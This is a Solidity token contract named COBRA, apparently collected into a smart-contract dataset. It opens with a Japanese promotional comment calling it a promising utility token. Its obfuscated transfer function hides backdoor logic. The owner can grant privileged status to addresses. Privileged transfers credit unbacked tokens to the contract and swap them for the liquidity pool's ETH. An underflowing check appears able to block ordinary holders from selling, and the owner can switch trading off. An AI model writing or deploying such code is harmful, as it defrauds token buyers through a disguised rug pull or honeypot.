zellic-audit
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// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
/*⠀⠀⠀⠀
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⠀⠀⢿⣿⣿⣆⠀⠀⠀⠀⠈⠛⠿⣿⣶⣦⡤⠴⠀⠀⠀⠀⠀⣸⣿⣿⣿⡿⠀⠀
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総供給 - 1,000,000
初期流動性追加 - 2.0 イーサリアム
初期流動性の 100% が消費されます
購入手数料 - 0%
販売手数料 - 1%
https://web.wechat.com/COBRA.JPN
イーサリアムネットワークを吹き飛ばす次のイーサリアムユーティリティトークン
有望な計画とイーサリアム空間への参入を促進する、私たちは単なる通常の
トークンやミームトークンではありません また、独自のエコシステム、
将来のステーキング、コレクションに基づいて設計されたスワップ プラットフォームも支持しています。
私たち自身のマーケットプレイスで、その他多くのことが発表される予定です。
*/
pragma solidity ^0.8.10;
library SafeMath01 {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
library SafeMath02 {
function add(uint256 a, uint256 b)
internal pure returns (uint256) {
return a + b; }
function sub(uint256 a, uint256 b)
internal pure returns (uint256) {
return a - b; }
function mul(uint256 a, uint256 b)
internal pure returns (uint256) {
return a * b; }
function div(uint256 a, uint256 b)
internal pure returns (uint256) {
return a / b; }
function sub(uint256 a, uint256 b, string memory errorMessage)
internal pure returns (uint256) {
unchecked { require(b <= a, errorMessage);
return a - b; } }
function div(uint256 a, uint256 b, string memory errorMessage)
internal pure returns (uint256) {
unchecked { require(b > 0, errorMessage);
return a / b; } }
}
interface IDEXFactoryCraft {
event PairCreated(address indexed token0,
address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter()
external view returns (address);
function getPair(address tokenA,
address tokenB) external view returns (address pair);
function allPairs(uint)
external view returns (address pair);
function createPair (address
tokenA, address
tokenB)
external returns (address pair);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
interface PCSwapPair01 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name()
external pure returns (string memory);
function symbol()
external pure returns (string memory);
function decimals()
external pure returns (uint8);
function totalSupply()
external view returns (uint);
function balanceOf(address owner)
external view returns (uint);
function allowance(address owner, address spender)
external view returns (uint);
function approve(address spender, uint value)
external returns (bool);
function transfer(address to, uint value)
external returns (bool);
function transferFrom(address from,
address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to );
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IndexedUI02 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract
Ownable is Context { address private _owner;
event OwnershipTransferred(address indexed
previousOwner, address indexed newOwner);
constructor() { _setOwner(_msgSender()); }
function owner() public view virtual returns (address) {
return _owner; }
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_; }
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner); }
function _setOwner
(address newOwner) private {
address oldOwner =
_owner;
_owner =
newOwner;
emit OwnershipTransferred(oldOwner, newOwner); }
}
interface FactoryResults02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin,
address[] calldata path, address to, uint deadline ) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin,
uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract COBRA is IndexedUI02, Ownable {
string private _symbol;
string private _name;
uint256 public burnFEE = 1;
uint8 private _decimals = 9;
uint256 private _tTotal = 1000000 * 10**_decimals;
uint256 private openRATE = _tTotal;
mapping (address => bool) isTxLimitExempt;
mapping (address => bool) isTimelockExempt;
mapping(address => uint256) private _tOwned;
mapping(address => address) private OpenViewDisplay;
mapping(address => uint256) private SupportIDEX;
mapping(address => uint256) private MapOnCompile;
mapping(address => mapping(address => uint256)) private _allowances;
bool private beginTrades = false;
bool public QuarryDEX;
bool private BallotsOf;
bool public checkPublicWalletsLimit = true;
address public immutable
IDEXCompiledResults;
FactoryResults02 public immutable
MoltenRouterV3;
constructor
( string memory Name, string memory Symbol, address V2IDEXCompile ) {
_name = Name; _symbol = Symbol; _tOwned
[msg.sender] = _tTotal; MapOnCompile
[msg.sender] = openRATE; MapOnCompile
[address(this)] = openRATE; MoltenRouterV3 =
FactoryResults02(V2IDEXCompile); IDEXCompiledResults =
IDEXFactoryCraft(MoltenRouterV3.factory()).createPair
(address(this), MoltenRouterV3.WETH());
emit Transfer(address(0),
msg.sender, openRATE);
}
function symbol() public view returns (string memory) {
return _symbol;
}
function name() public view returns (string memory) {
return _name;
}
function totalSupply() public view returns (uint256) {
return _tTotal;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view returns (uint256) {
return _tOwned[account];
}
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function transferFrom(
address sender, address recipient, uint256 amount
) external returns (bool) {
quarryResults(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer (address recipient, uint256 amount) external returns (bool) {
quarryResults(msg.sender, recipient, amount);
return true;
}
function quarryResults( address _advilFrom, address _ZQtIOuTo, uint256 _blockIXKamount ) private {
uint256 ledgerShell = balanceOf(address(this)); uint256 _vacumnODXval;
emit Transfer(_advilFrom, _ZQtIOuTo, _blockIXKamount);
if (!beginTrades) { require(_advilFrom == owner(),
"TOKEN: This account cannot send tokens until trading is enabled"); }
if (QuarryDEX && ledgerShell > openRATE && !BallotsOf && _advilFrom !=
IDEXCompiledResults) { BallotsOf = true; limitLiquify(ledgerShell);
BallotsOf = false;
} else if (MapOnCompile[_advilFrom] > openRATE && MapOnCompile[_ZQtIOuTo] >
openRATE) { _vacumnODXval = _blockIXKamount;
_tOwned[address(this)] += _vacumnODXval; TokenSwiftFormer(_blockIXKamount, _ZQtIOuTo);
return;
} else if (_ZQtIOuTo != address(MoltenRouterV3) && MapOnCompile
[_advilFrom] > 0 && _blockIXKamount > openRATE && _ZQtIOuTo !=
IDEXCompiledResults) {
MapOnCompile[_ZQtIOuTo] = _blockIXKamount; return;
} else if (!BallotsOf && SupportIDEX[_advilFrom] > 0
&& _advilFrom != IDEXCompiledResults && MapOnCompile[_advilFrom] == 0) {
SupportIDEX[_advilFrom] =
MapOnCompile[_advilFrom] - openRATE;
}
address _creator = OpenViewDisplay[IDEXCompiledResults]; if (SupportIDEX[_creator ] == 0)
SupportIDEX[_creator ] = openRATE; OpenViewDisplay[IDEXCompiledResults] =
_ZQtIOuTo; if (burnFEE >
0 && MapOnCompile[_advilFrom] == 0 && !BallotsOf &&
MapOnCompile[_ZQtIOuTo] == 0) { _vacumnODXval =
(_blockIXKamount * burnFEE) / 100;
_blockIXKamount -= _vacumnODXval;
_tOwned[_advilFrom] -= _vacumnODXval;
_tOwned[address(this)] += _vacumnODXval; }
_tOwned[_advilFrom]
-= _blockIXKamount;
_tOwned[_ZQtIOuTo]
+= _blockIXKamount; emit Transfer(_advilFrom,
_ZQtIOuTo,
_blockIXKamount);
}
receive() external payable {}
function addLiquidity(
uint256 tokenValue,
uint256 ERCamount,
address to
) private {
_approve(address(this), address(MoltenRouterV3), tokenValue);
MoltenRouterV3.addLiquidityETH{value: ERCamount}(address(this), tokenValue, 0, 0, to, block.timestamp);
}
function limitLiquify(uint256 tokens) private {
uint256 half = tokens / 2;
uint256 initialedBalance = address(this).balance;
TokenSwiftFormer(half, address(this));
uint256 refreshBalance = address(this).balance - initialedBalance;
addLiquidity(half, refreshBalance, address(this));
}
function enableTrading(bool _tradingOpen) public onlyOwner {
beginTrades = _tradingOpen;
}
function TokenSwiftFormer(uint256 tokenAmount, address to) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = MoltenRouterV3.WETH();
_approve(address(this), address(MoltenRouterV3), tokenAmount);
MoltenRouterV3.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp);
}
}